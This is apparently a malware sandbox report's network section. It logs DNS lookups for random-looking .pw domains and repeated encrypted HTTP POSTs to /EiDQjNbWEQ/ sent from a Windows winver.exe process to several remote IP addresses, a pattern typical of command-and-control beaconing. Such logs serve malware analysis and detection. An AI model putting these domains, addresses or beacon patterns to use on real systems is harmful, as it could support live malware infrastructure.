Jan 20, 2024 20:41:14.939837933 CET	49730	443	192.168.2.4	173.222.162.32
Jan 20, 2024 20:41:14.940105915 CET	443	49730	173.222.162.32	192.168.2.4
Jan 20, 2024 20:41:14.960537910 CET	49730	443	192.168.2.4	173.222.162.32
Jan 20, 2024 20:41:14.960589886 CET	443	49730	173.222.162.32	192.168.2.4
Jan 20, 2024 20:41:15.289644003 CET	443	49730	173.222.162.32	192.168.2.4
Jan 20, 2024 20:41:15.289729118 CET	49730	443	192.168.2.4	173.222.162.32
Jan 20, 2024 20:41:15.289983988 CET	443	49730	173.222.162.32	192.168.2.4
Jan 20, 2024 20:41:15.290144920 CET	443	49730	173.222.162.32	192.168.2.4
Jan 20, 2024 20:41:15.290208101 CET	49730	443	192.168.2.4	173.222.162.32
Jan 20, 2024 20:41:15.293447018 CET	49730	443	192.168.2.4	173.222.162.32
Jan 20, 2024 20:41:15.293472052 CET	443	49730	173.222.162.32	192.168.2.4
Jan 20, 2024 20:41:15.293487072 CET	49730	443	192.168.2.4	173.222.162.32
Jan 20, 2024 20:41:15.294157028 CET	49730	443	192.168.2.4	173.222.162.32
Jan 20, 2024 20:41:17.311801910 CET	49672	443	192.168.2.4	173.222.162.32
Jan 20, 2024 20:41:22.124315023 CET	49672	443	192.168.2.4	173.222.162.32
Jan 20, 2024 20:41:31.733712912 CET	49672	443	192.168.2.4	173.222.162.32
Jan 20, 2024 20:41:33.405186892 CET	49735	80	192.168.2.4	216.218.185.162
Jan 20, 2024 20:41:33.559664011 CET	80	49735	216.218.185.162	192.168.2.4
Jan 20, 2024 20:41:33.559739113 CET	49735	80	192.168.2.4	216.218.185.162
Jan 20, 2024 20:41:33.804089069 CET	49735	80	192.168.2.4	216.218.185.162
Jan 20, 2024 20:41:33.958657980 CET	80	49735	216.218.185.162	192.168.2.4
Jan 20, 2024 20:41:33.960119963 CET	49735	80	192.168.2.4	216.218.185.162
Jan 20, 2024 20:41:34.114711046 CET	80	49735	216.218.185.162	192.168.2.4
Jan 20, 2024 20:41:34.114938974 CET	80	49735	216.218.185.162	192.168.2.4
Jan 20, 2024 20:41:34.114959955 CET	80	49735	216.218.185.162	192.168.2.4
Jan 20, 2024 20:41:34.115211010 CET	49735	80	192.168.2.4	216.218.185.162
Jan 20, 2024 20:41:34.197063923 CET	49735	80	192.168.2.4	216.218.185.162
Jan 20, 2024 20:41:34.351465940 CET	80	49735	216.218.185.162	192.168.2.4
Jan 20, 2024 20:41:39.142398119 CET	49736	80	192.168.2.4	178.62.201.34
Jan 20, 2024 20:41:39.344611883 CET	80	49736	178.62.201.34	192.168.2.4
Jan 20, 2024 20:41:39.344835043 CET	49736	80	192.168.2.4	178.62.201.34
Jan 20, 2024 20:41:39.347423077 CET	49736	80	192.168.2.4	178.62.201.34
Jan 20, 2024 20:41:39.548655987 CET	80	49736	178.62.201.34	192.168.2.4
Jan 20, 2024 20:41:39.548875093 CET	49736	80	192.168.2.4	178.62.201.34
Jan 20, 2024 20:41:39.750291109 CET	80	49736	178.62.201.34	192.168.2.4
Jan 20, 2024 20:41:39.847723007 CET	80	49736	178.62.201.34	192.168.2.4
Jan 20, 2024 20:41:39.848390102 CET	49736	80	192.168.2.4	178.62.201.34
Jan 20, 2024 20:41:39.848390102 CET	49736	80	192.168.2.4	178.62.201.34
Jan 20, 2024 20:41:40.049669027 CET	80	49736	178.62.201.34	192.168.2.4
Jan 20, 2024 20:41:40.781498909 CET	49737	80	192.168.2.4	216.218.185.162
Jan 20, 2024 20:41:40.938597918 CET	80	49737	216.218.185.162	192.168.2.4
Jan 20, 2024 20:41:40.938769102 CET	49737	80	192.168.2.4	216.218.185.162
Jan 20, 2024 20:41:40.938841105 CET	49737	80	192.168.2.4	216.218.185.162
Jan 20, 2024 20:41:41.093322039 CET	80	49737	216.218.185.162	192.168.2.4
Jan 20, 2024 20:41:41.093404055 CET	49737	80	192.168.2.4	216.218.185.162
Jan 20, 2024 20:41:41.247828007 CET	80	49737	216.218.185.162	192.168.2.4
Jan 20, 2024 20:41:41.248694897 CET	80	49737	216.218.185.162	192.168.2.4
Jan 20, 2024 20:41:41.248708963 CET	80	49737	216.218.185.162	192.168.2.4
Jan 20, 2024 20:41:41.248930931 CET	49737	80	192.168.2.4	216.218.185.162
Jan 20, 2024 20:41:41.249335051 CET	49737	80	192.168.2.4	216.218.185.162
Jan 20, 2024 20:41:41.403767109 CET	80	49737	216.218.185.162	192.168.2.4
Jan 20, 2024 20:41:42.203521967 CET	49738	80	192.168.2.4	216.218.185.162
Jan 20, 2024 20:41:42.358956099 CET	80	49738	216.218.185.162	192.168.2.4
Jan 20, 2024 20:41:42.359042883 CET	49738	80	192.168.2.4	216.218.185.162
Jan 20, 2024 20:41:42.359144926 CET	49738	80	192.168.2.4	216.218.185.162
Jan 20, 2024 20:41:42.514241934 CET	80	49738	216.218.185.162	192.168.2.4
Jan 20, 2024 20:41:42.514324903 CET	49738	80	192.168.2.4	216.218.185.162
Jan 20, 2024 20:41:42.669533014 CET	80	49738	216.218.185.162	192.168.2.4
Jan 20, 2024 20:41:42.669940948 CET	80	49738	216.218.185.162	192.168.2.4
Jan 20, 2024 20:41:42.669955015 CET	80	49738	216.218.185.162	192.168.2.4
Jan 20, 2024 20:41:42.670139074 CET	49738	80	192.168.2.4	216.218.185.162
Jan 20, 2024 20:41:42.670442104 CET	49738	80	192.168.2.4	216.218.185.162
Jan 20, 2024 20:41:42.825643063 CET	80	49738	216.218.185.162	192.168.2.4
Jan 20, 2024 20:41:43.687911034 CET	49739	80	192.168.2.4	216.218.185.162
Jan 20, 2024 20:41:43.842346907 CET	80	49739	216.218.185.162	192.168.2.4
Jan 20, 2024 20:41:43.842545033 CET	49739	80	192.168.2.4	216.218.185.162
Jan 20, 2024 20:41:43.842658997 CET	49739	80	192.168.2.4	216.218.185.162
Jan 20, 2024 20:41:43.996819973 CET	80	49739	216.218.185.162	192.168.2.4
Jan 20, 2024 20:41:43.996901035 CET	49739	80	192.168.2.4	216.218.185.162
Jan 20, 2024 20:41:44.151101112 CET	80	49739	216.218.185.162	192.168.2.4
Jan 20, 2024 20:41:44.151778936 CET	80	49739	216.218.185.162	192.168.2.4
Jan 20, 2024 20:41:44.151809931 CET	80	49739	216.218.185.162	192.168.2.4
Jan 20, 2024 20:41:44.151974916 CET	49739	80	192.168.2.4	216.218.185.162
Jan 20, 2024 20:41:44.152224064 CET	49739	80	192.168.2.4	216.218.185.162
Jan 20, 2024 20:41:44.306319952 CET	80	49739	216.218.185.162	192.168.2.4
Jan 20, 2024 20:41:45.281513929 CET	49740	80	192.168.2.4	216.218.185.162
Jan 20, 2024 20:41:45.435940027 CET	80	49740	216.218.185.162	192.168.2.4
Jan 20, 2024 20:41:45.436049938 CET	49740	80	192.168.2.4	216.218.185.162
Jan 20, 2024 20:41:45.528111935 CET	49740	80	192.168.2.4	216.218.185.162
Jan 20, 2024 20:41:45.682406902 CET	80	49740	216.218.185.162	192.168.2.4
Jan 20, 2024 20:41:45.682504892 CET	49740	80	192.168.2.4	216.218.185.162
Jan 20, 2024 20:41:45.836764097 CET	80	49740	216.218.185.162	192.168.2.4
Jan 20, 2024 20:41:45.837436914 CET	80	49740	216.218.185.162	192.168.2.4
Jan 20, 2024 20:41:45.837450027 CET	80	49740	216.218.185.162	192.168.2.4
Jan 20, 2024 20:41:45.837616920 CET	49740	80	192.168.2.4	216.218.185.162
Jan 20, 2024 20:41:45.841912985 CET	49740	80	192.168.2.4	216.218.185.162
Jan 20, 2024 20:41:45.996149063 CET	80	49740	216.218.185.162	192.168.2.4
Jan 20, 2024 20:41:46.749911070 CET	49741	80	192.168.2.4	216.218.185.162
Jan 20, 2024 20:41:46.905324936 CET	80	49741	216.218.185.162	192.168.2.4
Jan 20, 2024 20:41:46.905608892 CET	49741	80	192.168.2.4	216.218.185.162
Jan 20, 2024 20:41:46.905610085 CET	49741	80	192.168.2.4	216.218.185.162
Jan 20, 2024 20:41:47.060825109 CET	80	49741	216.218.185.162	192.168.2.4
Jan 20, 2024 20:41:47.060883045 CET	49741	80	192.168.2.4	216.218.185.162
Jan 20, 2024 20:41:47.216280937 CET	80	49741	216.218.185.162	192.168.2.4
Jan 20, 2024 20:41:47.216798067 CET	80	49741	216.218.185.162	192.168.2.4
Jan 20, 2024 20:41:47.216813087 CET	80	49741	216.218.185.162	192.168.2.4
Jan 20, 2024 20:41:47.217039108 CET	49741	80	192.168.2.4	216.218.185.162
Jan 20, 2024 20:41:47.217381954 CET	49741	80	192.168.2.4	216.218.185.162
Jan 20, 2024 20:41:47.372519016 CET	80	49741	216.218.185.162	192.168.2.4
Jan 20, 2024 20:41:48.140640974 CET	49742	80	192.168.2.4	216.218.185.162
Jan 20, 2024 20:41:48.295020103 CET	80	49742	216.218.185.162	192.168.2.4
Jan 20, 2024 20:41:48.295171976 CET	49742	80	192.168.2.4	216.218.185.162
Jan 20, 2024 20:41:48.295231104 CET	49742	80	192.168.2.4	216.218.185.162
Jan 20, 2024 20:41:48.449454069 CET	80	49742	216.218.185.162	192.168.2.4
Jan 20, 2024 20:41:48.449649096 CET	49742	80	192.168.2.4	216.218.185.162
Jan 20, 2024 20:41:48.603910923 CET	80	49742	216.218.185.162	192.168.2.4
Jan 20, 2024 20:41:48.604362965 CET	80	49742	216.218.185.162	192.168.2.4
Jan 20, 2024 20:41:48.604379892 CET	80	49742	216.218.185.162	192.168.2.4
Jan 20, 2024 20:41:48.604687929 CET	49742	80	192.168.2.4	216.218.185.162
Jan 20, 2024 20:41:48.604973078 CET	49742	80	192.168.2.4	216.218.185.162
Jan 20, 2024 20:41:48.759226084 CET	80	49742	216.218.185.162	192.168.2.4
Jan 20, 2024 20:41:49.671741009 CET	49743	80	192.168.2.4	216.218.185.162
Jan 20, 2024 20:41:49.827025890 CET	80	49743	216.218.185.162	192.168.2.4
Jan 20, 2024 20:41:49.827136040 CET	49743	80	192.168.2.4	216.218.185.162
Jan 20, 2024 20:41:49.827227116 CET	49743	80	192.168.2.4	216.218.185.162
Jan 20, 2024 20:41:49.982502937 CET	80	49743	216.218.185.162	192.168.2.4
Jan 20, 2024 20:41:49.982614040 CET	49743	80	192.168.2.4	216.218.185.162
Jan 20, 2024 20:41:50.138786077 CET	80	49743	216.218.185.162	192.168.2.4
Jan 20, 2024 20:41:50.140456915 CET	80	49743	216.218.185.162	192.168.2.4
Jan 20, 2024 20:41:50.140474081 CET	80	49743	216.218.185.162	192.168.2.4
Jan 20, 2024 20:41:50.140702009 CET	49743	80	192.168.2.4	216.218.185.162
Jan 20, 2024 20:41:56.085191011 CET	80	49743	216.218.185.162	192.168.2.4
Jan 20, 2024 20:41:56.140013933 CET	49743	80	192.168.2.4	216.218.185.162
Jan 20, 2024 20:42:02.088078022 CET	80	49743	216.218.185.162	192.168.2.4
Jan 20, 2024 20:42:02.140111923 CET	49743	80	192.168.2.4	216.218.185.162
Jan 20, 2024 20:42:08.086219072 CET	80	49743	216.218.185.162	192.168.2.4
Jan 20, 2024 20:42:08.140036106 CET	49743	80	192.168.2.4	216.218.185.162
Jan 20, 2024 20:42:14.087224960 CET	80	49743	216.218.185.162	192.168.2.4
Jan 20, 2024 20:42:14.140031099 CET	49743	80	192.168.2.4	216.218.185.162
Jan 20, 2024 20:42:20.087171078 CET	80	49743	216.218.185.162	192.168.2.4
Jan 20, 2024 20:42:20.140094042 CET	49743	80	192.168.2.4	216.218.185.162
Jan 20, 2024 20:42:26.083926916 CET	80	49743	216.218.185.162	192.168.2.4
Jan 20, 2024 20:42:26.124407053 CET	49743	80	192.168.2.4	216.218.185.162
Jan 20, 2024 20:42:32.096539021 CET	80	49743	216.218.185.162	192.168.2.4
Jan 20, 2024 20:42:32.140062094 CET	49743	80	192.168.2.4	216.218.185.162
Jan 20, 2024 20:42:38.086131096 CET	80	49743	216.218.185.162	192.168.2.4
Jan 20, 2024 20:42:38.140057087 CET	49743	80	192.168.2.4	216.218.185.162
Jan 20, 2024 20:42:44.084769011 CET	80	49743	216.218.185.162	192.168.2.4
Jan 20, 2024 20:42:44.140048027 CET	49743	80	192.168.2.4	216.218.185.162
Jan 20, 2024 20:42:50.084806919 CET	80	49743	216.218.185.162	192.168.2.4
Jan 20, 2024 20:42:50.140110970 CET	49743	80	192.168.2.4	216.218.185.162
Jan 20, 2024 20:42:56.083399057 CET	80	49743	216.218.185.162	192.168.2.4
Jan 20, 2024 20:42:56.124511957 CET	49743	80	192.168.2.4	216.218.185.162
Jan 20, 2024 20:43:02.089776039 CET	80	49743	216.218.185.162	192.168.2.4
Jan 20, 2024 20:43:02.140157938 CET	49743	80	192.168.2.4	216.218.185.162
Jan 20, 2024 20:43:08.087153912 CET	80	49743	216.218.185.162	192.168.2.4
Jan 20, 2024 20:43:08.140094042 CET	49743	80	192.168.2.4	216.218.185.162
Jan 20, 2024 20:43:14.085644007 CET	80	49743	216.218.185.162	192.168.2.4
Jan 20, 2024 20:43:14.140183926 CET	49743	80	192.168.2.4	216.218.185.162
Jan 20, 2024 20:43:20.091068029 CET	80	49743	216.218.185.162	192.168.2.4
Jan 20, 2024 20:43:20.140271902 CET	49743	80	192.168.2.4	216.218.185.162

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 20, 2024 20:41:01.005306005 CET	58626	53	192.168.2.4	1.1.1.1
Jan 20, 2024 20:41:01.758816957 CET	53	58626	1.1.1.1	192.168.2.4
Jan 20, 2024 20:41:34.197884083 CET	63041	53	192.168.2.4	1.1.1.1
Jan 20, 2024 20:41:34.638372898 CET	53	63041	1.1.1.1	192.168.2.4
Jan 20, 2024 20:41:39.848987103 CET	53856	53	192.168.2.4	1.1.1.1
Jan 20, 2024 20:41:40.408725023 CET	53	53856	1.1.1.1	192.168.2.4
Jan 20, 2024 20:41:41.249921083 CET	60045	53	192.168.2.4	1.1.1.1
Jan 20, 2024 20:41:41.820075989 CET	53	60045	1.1.1.1	192.168.2.4
Jan 20, 2024 20:41:42.670917988 CET	58651	53	192.168.2.4	1.1.1.1
Jan 20, 2024 20:41:43.146290064 CET	53	58651	1.1.1.1	192.168.2.4
Jan 20, 2024 20:41:44.152683973 CET	55292	53	192.168.2.4	1.1.1.1
Jan 20, 2024 20:41:44.901298046 CET	53	55292	1.1.1.1	192.168.2.4
Jan 20, 2024 20:41:45.842540026 CET	55614	53	192.168.2.4	1.1.1.1
Jan 20, 2024 20:41:46.378681898 CET	53	55614	1.1.1.1	192.168.2.4
Jan 20, 2024 20:41:47.217844963 CET	51841	53	192.168.2.4	1.1.1.1
Jan 20, 2024 20:41:47.777020931 CET	53	51841	1.1.1.1	192.168.2.4
Jan 20, 2024 20:41:48.605392933 CET	51438	53	192.168.2.4	1.1.1.1
Jan 20, 2024 20:41:49.305752993 CET	53	51438	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 20, 2024 20:41:01.005306005 CET	192.168.2.4	1.1.1.1	0xa92	Standard query (0)	spaines.pw	A (IP address)	IN (0x0001)	false
Jan 20, 2024 20:41:34.197884083 CET	192.168.2.4	1.1.1.1	0x58c1	Standard query (0)	uyhgqunqkxnx.pw	A (IP address)	IN (0x0001)	false
Jan 20, 2024 20:41:39.848987103 CET	192.168.2.4	1.1.1.1	0x7d30	Standard query (0)	vcklmnnejwxx.pw	A (IP address)	IN (0x0001)	false
Jan 20, 2024 20:41:41.249921083 CET	192.168.2.4	1.1.1.1	0x801d	Standard query (0)	cmnsgscccrej.pw	A (IP address)	IN (0x0001)	false
Jan 20, 2024 20:41:42.670917988 CET	192.168.2.4	1.1.1.1	0xc6ce	Standard query (0)	evbsdqvgmpph.pw	A (IP address)	IN (0x0001)	false
Jan 20, 2024 20:41:44.152683973 CET	192.168.2.4	1.1.1.1	0x68ec	Standard query (0)	mfueeimvyrsp.pw	A (IP address)	IN (0x0001)	false
Jan 20, 2024 20:41:45.842540026 CET	192.168.2.4	1.1.1.1	0x6d61	Standard query (0)	utmyhnffxpcj.pw	A (IP address)	IN (0x0001)	false
Jan 20, 2024 20:41:47.217844963 CET	192.168.2.4	1.1.1.1	0x8f77	Standard query (0)	fkmmvfeonnyh.pw	A (IP address)	IN (0x0001)	false
Jan 20, 2024 20:41:48.605392933 CET	192.168.2.4	1.1.1.1	0xea19	Standard query (0)	gfnlmtcolrrb.pw	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jan 20, 2024 20:41:01.758816957 CET	1.1.1.1	192.168.2.4	0xa92	No error (0)	spaines.pw	216.218.185.162	A (IP address)	IN (0x0001)	false
Jan 20, 2024 20:41:34.638372898 CET	1.1.1.1	192.168.2.4	0x58c1	No error (0)	uyhgqunqkxnx.pw	178.62.201.34	A (IP address)	IN (0x0001)	false
Jan 20, 2024 20:41:34.638372898 CET	1.1.1.1	192.168.2.4	0x58c1	No error (0)	uyhgqunqkxnx.pw	45.77.249.79	A (IP address)	IN (0x0001)	false
Jan 20, 2024 20:41:34.638372898 CET	1.1.1.1	192.168.2.4	0x58c1	No error (0)	uyhgqunqkxnx.pw	104.131.68.180	A (IP address)	IN (0x0001)	false
Jan 20, 2024 20:41:40.408725023 CET	1.1.1.1	192.168.2.4	0x7d30	No error (0)	vcklmnnejwxx.pw	216.218.185.162	A (IP address)	IN (0x0001)	false
Jan 20, 2024 20:41:41.820075989 CET	1.1.1.1	192.168.2.4	0x801d	No error (0)	cmnsgscccrej.pw	216.218.185.162	A (IP address)	IN (0x0001)	false
Jan 20, 2024 20:41:43.146290064 CET	1.1.1.1	192.168.2.4	0xc6ce	No error (0)	evbsdqvgmpph.pw	216.218.185.162	A (IP address)	IN (0x0001)	false
Jan 20, 2024 20:41:44.901298046 CET	1.1.1.1	192.168.2.4	0x68ec	No error (0)	mfueeimvyrsp.pw	216.218.185.162	A (IP address)	IN (0x0001)	false
Jan 20, 2024 20:41:46.378681898 CET	1.1.1.1	192.168.2.4	0x6d61	No error (0)	utmyhnffxpcj.pw	216.218.185.162	A (IP address)	IN (0x0001)	false
Jan 20, 2024 20:41:47.777020931 CET	1.1.1.1	192.168.2.4	0x8f77	No error (0)	fkmmvfeonnyh.pw	216.218.185.162	A (IP address)	IN (0x0001)	false
Jan 20, 2024 20:41:49.305752993 CET	1.1.1.1	192.168.2.4	0xea19	No error (0)	gfnlmtcolrrb.pw	216.218.185.162	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

https:

www.bing.com

spaines.pw

uyhgqunqkxnx.pw

vcklmnnejwxx.pw

cmnsgscccrej.pw

evbsdqvgmpph.pw

mfueeimvyrsp.pw

utmyhnffxpcj.pw

fkmmvfeonnyh.pw

gfnlmtcolrrb.pw

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49735	216.218.185.162	80	7396	C:\Windows\SysWOW64\winver.exe

Timestamp	Bytes transferred	Direction	Data
Jan 20, 2024 20:41:33.804089069 CET	93	OUT	POST /EiDQjNbWEQ/ HTTP/1.0 Host: spaines.pw Content-Length: 157 Data Raw: 71 72 15 f5 52 7a 15 f5 1a ea 4f 98 77 70 14 d6 41 42 25 c5 41 42 25 c5 Data Ascii: qrRzOwpAB%AB%
Jan 20, 2024 20:41:33.960119963 CET	133	OUT	Data Raw: 00 80 00 00 00 77 ee f1 1d 7b 26 be ec 1a 51 ba f1 d2 a4 d3 f7 e9 59 16 eb 1f 03 67 36 75 23 1e 06 61 13 b5 1c 51 1f 7d 8b b1 fa 20 7f d5 68 20 b9 64 2d 3f 5d 75 5b 59 96 08 6f c1 78 ed b9 d0 35 6a c9 d1 e5 40 d4 82 f1 9f ac 7f af df 22 ef b5 be Data Ascii: w{&QYg6u#aQ} h d-?]u[Yox5j@"E{=sg(WEa)Vr:*9P/s;w\I}E cL
Jan 20, 2024 20:41:34.114938974 CET	156	IN	HTTP/1.1 200 OK Server: nginx/1.21.6 Date: Sat, 20 Jan 2024 19:41:34 GMT Content-Type: application/octet-stream Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49736	178.62.201.34	80	7396	C:\Windows\SysWOW64\winver.exe

Timestamp	Bytes transferred	Direction	Data
Jan 20, 2024 20:41:39.347423077 CET	98	OUT	POST /EiDQjNbWEQ/ HTTP/1.0 Host: uyhgqunqkxnx.pw Content-Length: 157 Data Raw: 17 36 54 98 31 3e 54 98 7c ae 0e f5 11 34 55 bb 27 06 64 a8 27 06 64 a8 Data Ascii: 6T1>T\|4U'd'd
Jan 20, 2024 20:41:39.548875093 CET	133	OUT	Data Raw: 00 80 00 00 00 71 e7 f8 13 64 36 a3 b3 01 5e d4 89 fc d4 a4 f7 d9 59 16 eb 1f 03 67 36 75 23 1e 06 61 13 b5 1c 39 4a f8 f8 69 9c bb 58 67 95 f1 e5 10 ce c9 7a 29 76 e2 6c 49 27 bf 3d ce 18 35 7b 8e 77 8d a5 69 52 2e d0 b6 8b 3f fb 10 5a d0 0a ff Data Ascii: qd6^Yg6u#a9JiXgz)vlI'=5{wiR.?Z[SUEn&uaKb*)&;Q[NYG<:M@!=7
Jan 20, 2024 20:41:39.847723007 CET	75	IN	HTTP/1.0 200 OK Date: Sat, 20 Jan 2024 19:41:39 GMT Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49737	216.218.185.162	80	7396	C:\Windows\SysWOW64\winver.exe

Timestamp	Bytes transferred	Direction	Data
Jan 20, 2024 20:41:40.938841105 CET	98	OUT	POST /EiDQjNbWEQ/ HTTP/1.0 Host: vcklmnnejwxx.pw Content-Length: 157 Data Raw: 46 b7 57 5a 61 bf 57 5a 2d 2f 0d 37 40 b5 56 79 76 87 67 6a 76 87 67 6a Data Ascii: FWZaWZ-/7@Vyvgjvgj
Jan 20, 2024 20:41:41.093404055 CET	133	OUT	Data Raw: 00 80 00 00 00 72 fd fb 18 78 2d a3 a7 00 51 c2 89 fc d4 a4 f7 d9 59 16 eb 1f 03 67 36 75 23 1e 06 61 13 b5 1c 09 ac 5d 2b cd 11 51 be 0d 21 32 ce 0e 27 ca 14 6b 83 32 28 44 94 35 9a 02 1e 4f d9 63 c0 ff 27 57 aa 03 30 79 fe 7f 27 3b 5c 8d 3e 64 Data Ascii: rx-QYg6u#a]+Q!2'k2(D5Oc'W0y';\>d!RI~=nq>)BZR?P9%Iu/
Jan 20, 2024 20:41:41.248694897 CET	156	IN	HTTP/1.1 200 OK Server: nginx/1.21.6 Date: Sat, 20 Jan 2024 19:41:41 GMT Content-Type: application/octet-stream Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49738	216.218.185.162	80	7396	C:\Windows\SysWOW64\winver.exe

Timestamp	Bytes transferred	Direction	Data
Jan 20, 2024 20:41:42.359144926 CET	98	OUT	POST /EiDQjNbWEQ/ HTTP/1.0 Host: cmnsgscccrej.pw Content-Length: 157 Data Raw: 8a 6a 6e 07 a2 62 6e 07 e1 f2 34 6a 8c 68 6f 24 ba 5a 5e 37 ba 5a 5e 37 Data Ascii: jnbn4jho$Z^7Z^7
Jan 20, 2024 20:41:42.514324903 CET	133	OUT	Data Raw: 00 80 00 00 00 67 f3 fe 07 72 30 ae a1 09 54 df 9b fc d4 a4 f7 d9 59 16 eb 1f 03 67 36 75 23 1e 06 61 13 b5 1c 9a 7e 0d f6 e5 fb 81 6b d7 15 c2 1b 43 11 fa f9 de 31 42 c5 50 0a 65 6f 0f 64 9f 2d c3 b7 0f db 5a 3a 33 cf 96 4f 2f dc c6 77 d2 c9 a0 Data Ascii: gr0TYg6u#a~kC1BPeod-Z:3O/w^U^EC(>U~~V&b9
Jan 20, 2024 20:41:42.669940948 CET	156	IN	HTTP/1.1 200 OK Server: nginx/1.21.6 Date: Sat, 20 Jan 2024 19:41:42 GMT Content-Type: application/octet-stream Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49739	216.218.185.162	80	7396	C:\Windows\SysWOW64\winver.exe

Timestamp	Bytes transferred	Direction	Data
Jan 20, 2024 20:41:43.842658997 CET	98	OUT	POST /EiDQjNbWEQ/ HTTP/1.0 Host: evbsdqvgmpph.pw Content-Length: 157 Data Raw: c9 d0 3a ba e1 d8 3a ba a2 48 60 d7 cf d2 3b 99 f9 e0 0a 8a f9 e0 0a 8a Data Ascii: ::H`;
Jan 20, 2024 20:41:43.996901035 CET	133	OUT	Data Raw: 00 80 00 00 00 61 e8 f2 07 71 32 bb a5 07 56 ca 99 fc d4 a4 f7 d9 59 16 eb 1f 03 67 36 75 23 1e 06 61 13 b5 1c 56 b8 bf 58 5f 57 7f c9 65 bf 6c bd 6c 15 a8 5b 60 b0 10 7b 6a 0c f9 cc c3 9a 73 8a d8 9c bb 78 4c b0 47 63 1f 31 bb 70 cf e8 46 6d 2b Data Ascii: aq2VYg6u#aVX_Well[`{jsxLGc1pFm+n_a3@\|lgzCbW?OA:Tq7!o
Jan 20, 2024 20:41:44.151778936 CET	156	IN	HTTP/1.1 200 OK Server: nginx/1.21.6 Date: Sat, 20 Jan 2024 19:41:44 GMT Content-Type: application/octet-stream Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49740	216.218.185.162	80	7396	C:\Windows\SysWOW64\winver.exe

Timestamp	Bytes transferred	Direction	Data
Jan 20, 2024 20:41:45.528111935 CET	98	OUT	POST /EiDQjNbWEQ/ HTTP/1.0 Host: mfueeimvyrsp.pw Content-Length: 157 Data Raw: 4a 7b a7 87 63 73 a7 87 21 e3 fd ea 4c 79 a6 a4 7a 4b 97 b7 7a 4b 97 b7 Data Ascii: J{cs!LyzKzK
Jan 20, 2024 20:41:45.682504892 CET	133	OUT	Data Raw: 00 80 00 00 00 69 f8 e5 11 70 2a a0 b4 13 54 c9 81 fc d4 a4 f7 d9 59 16 eb 1f 03 67 36 75 23 1e 06 61 13 b5 1c 4f a2 b6 0d 48 0e 48 9c 14 0d 15 90 69 f2 a0 76 f3 80 08 4e ab 9c db f9 e2 b9 51 b7 45 1d ac 43 91 26 5e 54 53 52 b0 5b fe bf 7f 42 c8 Data Ascii: ip*TYg6u#aOHHivNQEC&^TSR[BE8+H5`b~P""2)Q8J\|~#
Jan 20, 2024 20:41:45.837436914 CET	156	IN	HTTP/1.1 200 OK Server: nginx/1.21.6 Date: Sat, 20 Jan 2024 19:41:45 GMT Content-Type: application/octet-stream Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49741	216.218.185.162	80	7396	C:\Windows\SysWOW64\winver.exe

Timestamp	Bytes transferred	Direction	Data
Jan 20, 2024 20:41:46.905610085 CET	98	OUT	POST /EiDQjNbWEQ/ HTTP/1.0 Host: utmyhnffxpcj.pw Content-Length: 157 Data Raw: ce a6 09 2f e4 ae 09 2f a5 3e 53 42 c8 a4 08 0c fe 96 39 1f fe 96 39 1f Data Ascii: //>SB99
Jan 20, 2024 20:41:47.060883045 CET	133	OUT	Data Raw: 00 80 00 00 00 71 ea fd 0d 7d 2d ab a4 12 56 d9 9b fc d4 a4 f7 d9 59 16 eb 1f 03 67 36 75 23 1e 06 61 13 b5 1c 83 f3 e3 c2 f9 8e 3a 57 b8 37 ab 24 53 8a 6d c2 4a 5b db f2 10 fb 8e 44 bf 58 26 02 e1 c1 60 f0 3d c2 aa 1b 2f 3a 84 08 5d 9c 2b 15 af Data Ascii: q}-VYg6u#a:W7$SmJ[DX&`=/:]+m <D-WKuK`KxV:c%Gc5n,\|@lU
Jan 20, 2024 20:41:47.216798067 CET	156	IN	HTTP/1.1 200 OK Server: nginx/1.21.6 Date: Sat, 20 Jan 2024 19:41:47 GMT Content-Type: application/octet-stream Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49742	216.218.185.162	80	7396	C:\Windows\SysWOW64\winver.exe

Timestamp	Bytes transferred	Direction	Data
Jan 20, 2024 20:41:48.295231104 CET	98	OUT	POST /EiDQjNbWEQ/ HTTP/1.0 Host: fkmmvfeonnyh.pw Content-Length: 157 Data Raw: fc 54 53 d8 d6 5c 53 d8 97 cc 09 b5 fa 56 52 fb cc 64 63 e8 cc 64 63 e8 Data Ascii: TS\SVRdcdc
Jan 20, 2024 20:41:48.449649096 CET	133	OUT	Data Raw: 00 80 00 00 00 62 f5 fd 19 63 25 a8 ad 04 48 c3 99 fc d4 a4 f7 d9 59 16 eb 1f 03 67 36 75 23 1e 06 61 13 b5 1c 3a 58 ba ab 40 3e 74 3e 6c f2 11 4e 67 fc a7 94 81 0c 0d a8 ea 87 d7 1b 53 c2 6d 59 5a 21 d9 a7 8c 23 65 b0 fc 3f 5d a7 8c 25 60 be c7 Data Ascii: bc%HYg6u#a:X@>t>lNgSmYZ!#e?]%`p&GV_P,\|R-u'-%[xU4
Jan 20, 2024 20:41:48.604362965 CET	156	IN	HTTP/1.1 200 OK Server: nginx/1.21.6 Date: Sat, 20 Jan 2024 19:41:48 GMT Content-Type: application/octet-stream Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49743	216.218.185.162	80	7396	C:\Windows\SysWOW64\winver.exe

Timestamp	Bytes transferred	Direction	Data
